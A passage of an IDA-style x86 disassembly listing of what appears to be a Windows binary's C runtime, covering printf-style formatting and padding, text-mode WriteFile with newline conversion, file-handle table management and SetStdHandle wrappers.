mov eax, [eax+30h] mov [edx], ax jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B14E: ; CODE XREF: sub_44ABB1+4B4j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B168: ; CODE XREF: sub_44ABB1+4C2j ; sub_44ABB1+4D7j ... mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44B2E3 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [ebp+arg_0] mov edx, [edx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx mov edx, [ebp+arg_0] mov dword ptr [edx+34h], 8 mov eax, [ebp+arg_0] or word ptr [eax+38h], 10h mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx push 78h mov eax, [ebp+arg_0] push eax call sub_44BF81 add esp, 8 jmp loc_44B2E3 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz loc_44B280 mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [ebp+var_2C], edx mov [eax], edx mov edx, [ebp+arg_0] mov eax, [ebp+var_2C] mov eax, [eax-4] mov [edx+10h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_44B219 mov edx, [ebp+arg_0] mov dword ptr [edx+10h], offset dword_40FDC0 loc_44B219: ; CODE XREF: sub_44ABB1+65Cj mov eax, [ebp+arg_0] mov [ebp+var_38], eax cmp dword ptr [eax+2Ch], 0 jge short loc_44B23A mov edx, [ebp+arg_0] mov edx, [edx+10h] or eax, 0FFFFFFFFh loc_44B22E: ; CODE XREF: sub_44ABB1+682j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44B22E mov [ebp+var_30], eax jmp short loc_44B275 ; --------------------------------------------------------------------------- loc_44B23A: ; CODE XREF: sub_44ABB1+672j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] push edx push 0 mov eax, [eax+10h] push eax call sub_449F21 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_44B266 mov eax, [ebp+var_28] mov edx, [ebp+arg_0] mov edx, [edx+10h] sub eax, edx mov [ebp+var_34], eax jmp short loc_44B26F ; --------------------------------------------------------------------------- loc_44B266: ; CODE XREF: sub_44ABB1+6A3j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+var_34], eax loc_44B26F: ; CODE XREF: sub_44ABB1+6B3j mov eax, [ebp+var_34] mov [ebp+var_30], eax loc_44B275: ; CODE XREF: sub_44ABB1+687j mov eax, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+1Ch], eax jmp short loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B280: ; CODE XREF: sub_44ABB1+636j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] push eax mov eax, [ebp+arg_0] push eax call sub_44BE31 add esp, 8 test eax, eax jge short loc_44B2E3 or eax, 0FFFFFFFFh jmp short loc_44B2E5 ; --------------------------------------------------------------------------- loc_44B2A3: ; CODE XREF: sub_44ABB1+23j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 25h jmp short loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B2B8: ; CODE XREF: sub_44ABB1+29j ; sub_44ABB1+3Aj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx cmp [ebp+arg_8], 0 jz short loc_44B2D3 movzx eax, [ebp+arg_8] mov [ebp+var_28], eax jmp short loc_44B2DA ; --------------------------------------------------------------------------- loc_44B2D3: ; CODE XREF: sub_44ABB1+717j mov [ebp+var_28], 25h loc_44B2DA: ; CODE XREF: sub_44ABB1+720j mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax+edx], cl loc_44B2E3: ; CODE XREF: sub_44ABB1+84j ; sub_44ABB1+BDj ... xor eax, eax loc_44B2E5: ; CODE XREF: sub_44ABB1+C6j ; sub_44ABB1+6F0j pop ebx mov esp, ebp pop ebp retn sub_44ABB1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B2F1 proc near ; CODE XREF: sub_449761+25Ap ; sub_44BE31+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, [ebx+34h] sub eax, [ebx+14h] sub eax, [ebx+18h] sub eax, [ebx+1Ch] sub eax, [ebx+20h] sub eax, [ebx+24h] sub eax, [ebx+28h] mov [ebp+var_4], eax test word ptr [ebx+38h], 4 jnz short loc_44B370 cmp [ebp+var_4], 0 jle short loc_44B370 mov esi, [ebp+var_4] jmp short loc_44B36C ; --------------------------------------------------------------------------- loc_44B328: ; CODE XREF: sub_44B2F1+7Dj cmp esi, 20h jbe short loc_44B336 mov [ebp+var_8], 20h jmp short loc_44B33B ; --------------------------------------------------------------------------- loc_44B336: ; CODE XREF: sub_44B2F1+3Aj mov eax, esi mov [ebp+var_8], eax loc_44B33B: ; CODE XREF: sub_44B2F1+43j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44B36A push edi push offset asc_40FDC8 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B362 add [ebx+30h], edi jmp short loc_44B36A ; --------------------------------------------------------------------------- loc_44B362: ; CODE XREF: sub_44B2F1+6Aj or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B36A: ; CODE XREF: sub_44B2F1+51j ; sub_44B2F1+6Fj sub esi, edi loc_44B36C: ; CODE XREF: sub_44B2F1+35j test esi, esi jg short loc_44B328 loc_44B370: ; CODE XREF: sub_44B2F1+2Aj ; sub_44B2F1+30j cmp dword ptr [ebx+14h], 0 jle short loc_44B3A1 mov eax, [ebx+14h] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B399 mov eax, [ebx+14h] add [ebx+30h], eax jmp short loc_44B3A1 ; --------------------------------------------------------------------------- loc_44B399: ; CODE XREF: sub_44B2F1+9Ej or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B3A1: ; CODE XREF: sub_44B2F1+83j ; sub_44B2F1+A6j cmp dword ptr [ebx+18h], 0 jle short loc_44B3F4 mov esi, [ebx+18h] jmp short loc_44B3F0 ; --------------------------------------------------------------------------- loc_44B3AC: ; CODE XREF: sub_44B2F1+101j cmp esi, 20h jbe short loc_44B3BA mov [ebp+var_8], 20h jmp short loc_44B3BF ; --------------------------------------------------------------------------- loc_44B3BA: ; CODE XREF: sub_44B2F1+BEj mov eax, esi mov [ebp+var_8], eax loc_44B3BF: ; CODE XREF: sub_44B2F1+C7j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44B3EE push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B3E6 add [ebx+30h], edi jmp short loc_44B3EE ; --------------------------------------------------------------------------- loc_44B3E6: ; CODE XREF: sub_44B2F1+EEj or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B3EE: ; CODE XREF: sub_44B2F1+D5j ; sub_44B2F1+F3j sub esi, edi loc_44B3F0: ; CODE XREF: sub_44B2F1+B9j test esi, esi jg short loc_44B3AC loc_44B3F4: ; CODE XREF: sub_44B2F1+B4j cmp dword ptr [ebx+1Ch], 0 jle short loc_44B425 mov eax, [ebx+1Ch] push eax mov eax, [ebx+10h] push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B41D mov eax, [ebx+1Ch] add [ebx+30h], eax jmp short loc_44B425 ; --------------------------------------------------------------------------- loc_44B41D: ; CODE XREF: sub_44B2F1+122j or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B425: ; CODE XREF: sub_44B2F1+107j ; sub_44B2F1+12Aj cmp dword ptr [ebx+20h], 0 jle short loc_44B478 mov esi, [ebx+20h] jmp short loc_44B474 ; --------------------------------------------------------------------------- loc_44B430: ; CODE XREF: sub_44B2F1+185j cmp esi, 20h jbe short loc_44B43E mov [ebp+var_8], 20h jmp short loc_44B443 ; --------------------------------------------------------------------------- loc_44B43E: ; CODE XREF: sub_44B2F1+142j mov eax, esi mov [ebp+var_8], eax loc_44B443: ; CODE XREF: sub_44B2F1+14Bj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44B472 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B46A add [ebx+30h], edi jmp short loc_44B472 ; --------------------------------------------------------------------------- loc_44B46A: ; CODE XREF: sub_44B2F1+172j or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B472: ; CODE XREF: sub_44B2F1+159j ; sub_44B2F1+177j sub esi, edi loc_44B474: ; CODE XREF: sub_44B2F1+13Dj test esi, esi jg short loc_44B430 loc_44B478: ; CODE XREF: sub_44B2F1+138j cmp dword ptr [ebx+24h], 0 jle short loc_44B4AE mov eax, [ebx+24h] push eax mov eax, [ebx+1Ch] mov edx, [ebx+10h] add eax, edx push eax mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B4A6 mov eax, [ebx+24h] add [ebx+30h], eax jmp short loc_44B4AE ; --------------------------------------------------------------------------- loc_44B4A6: ; CODE XREF: sub_44B2F1+1ABj or eax, 0FFFFFFFFh jmp loc_44B558 ; --------------------------------------------------------------------------- loc_44B4AE: ; CODE XREF: sub_44B2F1+18Bj ; sub_44B2F1+1B3j cmp dword ptr [ebx+28h], 0 jle short loc_44B4FE mov esi, [ebx+28h] jmp short loc_44B4FA ; --------------------------------------------------------------------------- loc_44B4B9: ; CODE XREF: sub_44B2F1+20Bj cmp esi, 20h jbe short loc_44B4C7 mov [ebp+var_8], 20h jmp short loc_44B4CC ; --------------------------------------------------------------------------- loc_44B4C7: ; CODE XREF: sub_44B2F1+1CBj mov eax, esi mov [ebp+var_8], eax loc_44B4CC: ; CODE XREF: sub_44B2F1+1D4j mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44B4F8 push edi push offset a00000000000000 ; "00000000000000000000000000000000" mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B4F3 add [ebx+30h], edi jmp short loc_44B4F8 ; --------------------------------------------------------------------------- loc_44B4F3: ; CODE XREF: sub_44B2F1+1FBj or eax, 0FFFFFFFFh jmp short loc_44B558 ; --------------------------------------------------------------------------- loc_44B4F8: ; CODE XREF: sub_44B2F1+1E2j ; sub_44B2F1+200j sub esi, edi loc_44B4FA: ; CODE XREF: sub_44B2F1+1C6j test esi, esi jg short loc_44B4B9 loc_44B4FE: ; CODE XREF: sub_44B2F1+1C1j test word ptr [ebx+38h], 4 jz short loc_44B556 cmp [ebp+var_4], 0 jle short loc_44B556 mov esi, [ebp+var_4] jmp short loc_44B552 ; --------------------------------------------------------------------------- loc_44B511: ; CODE XREF: sub_44B2F1+263j cmp esi, 20h jbe short loc_44B51F mov [ebp+var_8], 20h jmp short loc_44B524 ; --------------------------------------------------------------------------- loc_44B51F: ; CODE XREF: sub_44B2F1+223j mov eax, esi mov [ebp+var_8], eax loc_44B524: ; CODE XREF: sub_44B2F1+22Cj mov eax, [ebp+var_8] mov edi, eax test edi, edi jle short loc_44B550 push edi push offset asc_40FDC8 ; " " mov eax, [ebx+0Ch] push eax call dword ptr [ebx+8] add esp, 0Ch lea edx, [ebx+0Ch] mov [edx], eax test eax, eax jz short loc_44B54B add [ebx+30h], edi jmp short loc_44B550 ; --------------------------------------------------------------------------- loc_44B54B: ; CODE XREF: sub_44B2F1+253j or eax, 0FFFFFFFFh jmp short loc_44B558 ; --------------------------------------------------------------------------- loc_44B550: ; CODE XREF: sub_44B2F1+23Aj ; sub_44B2F1+258j sub esi, edi loc_44B552: ; CODE XREF: sub_44B2F1+21Ej test esi, esi jg short loc_44B511 loc_44B556: ; CODE XREF: sub_44B2F1+213j ; sub_44B2F1+219j xor eax, eax loc_44B558: ; CODE XREF: sub_44B2F1+74j ; sub_44B2F1+ABj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B2F1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B561 proc near ; CODE XREF: sub_449AA1+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_4] mov eax, ebx and eax, 3 mov esi, dword_40FE0C[eax*4] test ebx, 4 jz short loc_44B580 or esi, 8 loc_44B580: ; CODE XREF: sub_44B561+1Aj test ebx, 8 jz short loc_44B58E or esi, 200h loc_44B58E: ; CODE XREF: sub_44B561+25j test ebx, 10h jz short loc_44B59C or esi, 100h loc_44B59C: ; CODE XREF: sub_44B561+33j test ebx, 20h jz short loc_44B5AC or esi, 8000h jmp short loc_44B5B2 ; --------------------------------------------------------------------------- loc_44B5AC: ; CODE XREF: sub_44B561+41j or esi, 4000h loc_44B5B2: ; CODE XREF: sub_44B561+49j push 180h push esi mov eax, [ebp+arg_0] push eax call sub_44C831 add esp, 0Ch pop esi pop ebx pop ebp retn sub_44B561 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B5D1 proc near ; CODE XREF: sub_449BF1+Dp push 6 call sub_44CC41 pop ecx push 1 call sub_448961 pop ecx retn sub_44B5D1 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B5F1 proc near ; CODE XREF: sub_44B7E1+4Bp ; sub_44DBD1+ADp var_411 = byte ptr -411h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov [ebp+var_C], 0 mov [ebp+var_4], 0 cmp [ebp+arg_8], 0 jnz short loc_44B618 xor eax, eax jmp loc_44B7DA ; --------------------------------------------------------------------------- loc_44B618: ; CODE XREF: sub_44B5F1+1Ej mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 20h jz short loc_44B644 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_44CD71 add esp, 0Ch loc_44B644: ; CODE XREF: sub_44B5F1+41j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 80h jz loc_44B725 mov esi, [ebp+arg_4] mov [ebp+var_10], 0 jmp loc_44B711 ; --------------------------------------------------------------------------- loc_44B673: ; CODE XREF: sub_44B5F1+12Cj lea edi, [ebp+var_411] jmp short loc_44B693 ; --------------------------------------------------------------------------- loc_44B67B: ; CODE XREF: sub_44B5F1+C0j mov eax, esi inc esi mov bl, [eax] cmp bl, 0Ah jnz short loc_44B68E inc [ebp+var_4] mov eax, edi inc edi mov byte ptr [eax], 0Dh loc_44B68E: ; CODE XREF: sub_44B5F1+92j mov eax, edi inc edi mov [eax], bl loc_44B693: ; CODE XREF: sub_44B5F1+88j lea eax, [ebp+var_411] mov edx, edi sub edx, eax cmp edx, 400h jge short loc_44B6B3 mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb short loc_44B67B loc_44B6B3: ; CODE XREF: sub_44B5F1+B2j push 0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_411] mov edx, edi sub edx, eax mov eax, edx push eax lea eax, [ebp+var_411] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 ; WriteFile test eax, eax jz short loc_44B706 mov eax, [ebp+var_8] add [ebp+var_C], eax lea edx, [ebp+var_411] mov ecx, edi sub ecx, edx cmp eax, ecx jge short loc_44B711 jmp short loc_44B76E ; --------------------------------------------------------------------------- loc_44B706: ; CODE XREF: sub_44B5F1+FDj call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax jmp short loc_44B76E ; --------------------------------------------------------------------------- loc_44B711: ; CODE XREF: sub_44B5F1+7Dj ; sub_44B5F1+111j mov eax, [ebp+arg_4] mov edx, esi sub edx, eax mov eax, edx cmp eax, [ebp+arg_8] jb loc_44B673 jmp short loc_44B76E ; --------------------------------------------------------------------------- loc_44B725: ; CODE XREF: sub_44B5F1+6Dj push 0 lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] mov eax, [eax+edx] push eax call dword_411E08 ; WriteFile test eax, eax jz short loc_44B765 mov [ebp+var_10], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_44B76E ; --------------------------------------------------------------------------- loc_44B765: ; CODE XREF: sub_44B5F1+163j call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_44B76E: ; CODE XREF: sub_44B5F1+113j ; sub_44B5F1+11Ej ... cmp [ebp+var_C], 0 jnz short loc_44B7D4 cmp [ebp+var_10], 0 jz short loc_44B79C cmp [ebp+var_10], 5 jnz short loc_44B78D call sub_449321 mov dword ptr [eax], 9 jmp short loc_44B797 ; --------------------------------------------------------------------------- loc_44B78D: ; CODE XREF: sub_44B5F1+18Dj mov eax, [ebp+var_10] push eax call sub_4491C1 pop ecx loc_44B797: ; CODE XREF: sub_44B5F1+19Aj or eax, 0FFFFFFFFh jmp short loc_44B7DA ; --------------------------------------------------------------------------- loc_44B79C: ; CODE XREF: sub_44B5F1+187j mov eax, [ebp+arg_0] mov edx, eax and edx, 1Fh imul edx, 24h sar eax, 5 mov eax, dword_413988[eax*4] test byte ptr [eax+edx+4], 40h jz short loc_44B7C4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_44B7C4 xor eax, eax jmp short loc_44B7DA ; --------------------------------------------------------------------------- loc_44B7C4: ; CODE XREF: sub_44B5F1+1C5j ; sub_44B5F1+1CDj call sub_449321 mov dword ptr [eax], 1Ch or eax, 0FFFFFFFFh jmp short loc_44B7DA ; --------------------------------------------------------------------------- loc_44B7D4: ; CODE XREF: sub_44B5F1+181j mov eax, [ebp+var_C] sub eax, [ebp+var_4] loc_44B7DA: ; CODE XREF: sub_44B5F1+22j ; sub_44B5F1+1A9j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B5F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B7E1 proc near ; CODE XREF: sub_449C21+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+arg_0] cmp ebx, dword_413A88 jnb short loc_44B80C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44B81C loc_44B80C: ; CODE XREF: sub_44B7E1+Ej call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44B83F ; --------------------------------------------------------------------------- loc_44B81C: ; CODE XREF: sub_44B7E1+29j push ebx call sub_44BC01 pop ecx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax push ebx call sub_44B5F1 add esp, 0Ch mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_44B83F: ; CODE XREF: sub_44B7E1+39j pop esi pop ebx pop ebp retn sub_44B7E1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B851 proc near ; CODE XREF: DMN1:loc_44BBABp ; sub_44C861:loc_44CA5Ep var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi or edi, 0FFFFFFFFh push 4 call sub_4496C1 pop ecx xor esi, esi loc_44B867: ; CODE XREF: sub_44B851+128j cmp dword_413988[esi*4], 0 jz loc_44B91E mov ebx, dword_413988[esi*4] jmp loc_44B903 ; --------------------------------------------------------------------------- loc_44B881: ; CODE XREF: sub_44B851+C0j test byte ptr [ebx+4], 1 jnz short loc_44B900 cmp dword ptr [ebx+8], 0 jnz short loc_44B8B0 push 3 call sub_4496C1 pop ecx cmp dword ptr [ebx+8], 0 jnz short loc_44B8A8 lea eax, [ebx+0Ch] push eax call dword_411CC8 ; InitializeCriticalSection inc dword ptr [ebx+8] loc_44B8A8: ; CODE XREF: sub_44B851+48j push 3 call sub_449741 pop ecx loc_44B8B0: ; CODE XREF: sub_44B851+3Aj lea eax, [ebx+0Ch] push eax call dword_411CCC ; RtlEnterCriticalSection test byte ptr [ebx+4], 1 jz short loc_44B8CC lea eax, [ebx+0Ch] push eax call dword_411CD0 ; RtlLeaveCriticalSection jmp short loc_44B900 ; --------------------------------------------------------------------------- loc_44B8CC: ; CODE XREF: sub_44B851+6Dj mov dword ptr [ebx], 0FFFFFFFFh mov eax, esi shl eax, 5 mov [ebp+var_4], eax mov edx, dword_413988[esi*4] mov ecx, ebx sub ecx, edx mov eax, ecx push eax mov edx, 38E38E39h imul edx pop eax shr eax, 1Fh sar edx, 3 add eax, edx mov edx, [ebp+var_4] lea edi, [eax+edx] jmp short loc_44B917 ; --------------------------------------------------------------------------- loc_44B900: ; CODE XREF: sub_44B851+34j ; sub_44B851+79j add ebx, 24h loc_44B903: ; CODE XREF: sub_44B851+2Bj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb loc_44B881 loc_44B917: ; CODE XREF: sub_44B851+ADj cmp edi, 0FFFFFFFFh jz short loc_44B975 jmp short loc_44B97F ; --------------------------------------------------------------------------- loc_44B91E: ; CODE XREF: sub_44B851+1Ej push 480h call sub_449121 pop ecx mov ebx, eax test eax, eax jz short loc_44B97F mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_44B957 ; --------------------------------------------------------------------------- loc_44B93F: ; CODE XREF: sub_44B851+114j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44B957: ; CODE XREF: sub_44B851+ECj mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_44B93F mov edi, esi shl edi, 5 push edi call sub_44BC01 pop ecx jmp short loc_44B97F ; --------------------------------------------------------------------------- loc_44B975: ; CODE XREF: sub_44B851+C9j inc esi cmp esi, 40h jl loc_44B867 loc_44B97F: ; CODE XREF: sub_44B851+CBj ; sub_44B851+DCj ... push 4 call sub_449741 pop ecx mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B851 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44B991 proc near ; CODE XREF: sub_449D01+5Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_44BA20 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 1 jz short loc_44BA20 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_44BA20 test ebx, ebx jz short loc_44B9D6 cmp ebx, 1 jz short loc_44B9E5 cmp ebx, 2 jz short loc_44B9F4 jmp short loc_44BA01 ; --------------------------------------------------------------------------- loc_44B9D6: ; CODE XREF: sub_44B991+37j push 0 push 0FFFFFFF6h call dword_411E0C ; SetStdHandle jmp short loc_44BA01 ; --------------------------------------------------------------------------- loc_44B9E5: ; CODE XREF: sub_44B991+3Cj push 0 push 0FFFFFFF5h call dword_411E0C ; SetStdHandle jmp short loc_44BA01 ; --------------------------------------------------------------------------- loc_44B9F4: ; CODE XREF: sub_44B991+41j push 0 push 0FFFFFFF4h call dword_411E0C ; SetStdHandle loc_44BA01: ; CODE XREF: sub_44B991+43j ; sub_44B991+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_44BA2E ; --------------------------------------------------------------------------- loc_44BA20: ; CODE XREF: sub_44B991+Bj ; sub_44B991+2Bj ... call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44BA2E: ; CODE XREF: sub_44B991+8Dj pop ebx retn sub_44B991 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44BA31 proc near ; CODE XREF: DMN1:0044BBCDp ; sub_44C861+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb loc_44BAC2 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short loc_44BAC2 test ebx, ebx jz short loc_44BA6F cmp ebx, 1 jz short loc_44BA81 cmp ebx, 2 jz short loc_44BA93 jmp short loc_44BAA3 ; --------------------------------------------------------------------------- loc_44BA6F: ; CODE XREF: sub_44BA31+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E0C ; SetStdHandle jmp short loc_44BAA3 ; --------------------------------------------------------------------------- loc_44BA81: ; CODE XREF: sub_44BA31+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E0C ; SetStdHandle jmp short loc_44BAA3 ; --------------------------------------------------------------------------- loc_44BA93: ; CODE XREF: sub_44BA31+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E0C ; SetStdHandle loc_44BAA3: ; CODE XREF: sub_44BA31+3Cj ; sub_44BA31+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_44BAD0 ; --------------------------------------------------------------------------- loc_44BAC2: ; CODE XREF: sub_44BA31+Bj ; sub_44BA31+2Cj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44BAD0: ; CODE XREF: sub_44BA31+8Fj pop ebx retn sub_44BA31 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44BAE1 proc near ; CODE XREF: sub_449D01+Cp ; sub_449D01+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb short loc_44BB22 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_44BB22 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] jmp short loc_44BB30 ; --------------------------------------------------------------------------- loc_44BB22: ; CODE XREF: sub_44BAE1+Bj ; sub_44BAE1+26j call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44BB30: ; CODE XREF: sub_44BAE1+3Fj pop ebx retn sub_44BAE1 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax call sub_44BAE1 pop ecx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_44BB60 or bl, 20h loc_44BB60: ; CODE XREF: DMN1:0044BB5Bj test word ptr [esp+14h], 4000h jz short loc_44BB6C or bl, 80h loc_44BB6C: ; CODE XREF: DMN1:0044BB67j test byte ptr [esp+14h], 80h jz short loc_44BB76 or bl, 10h loc_44BB76: ; CODE XREF: DMN1:0044BB71j mov eax, [esp+10h] push eax call 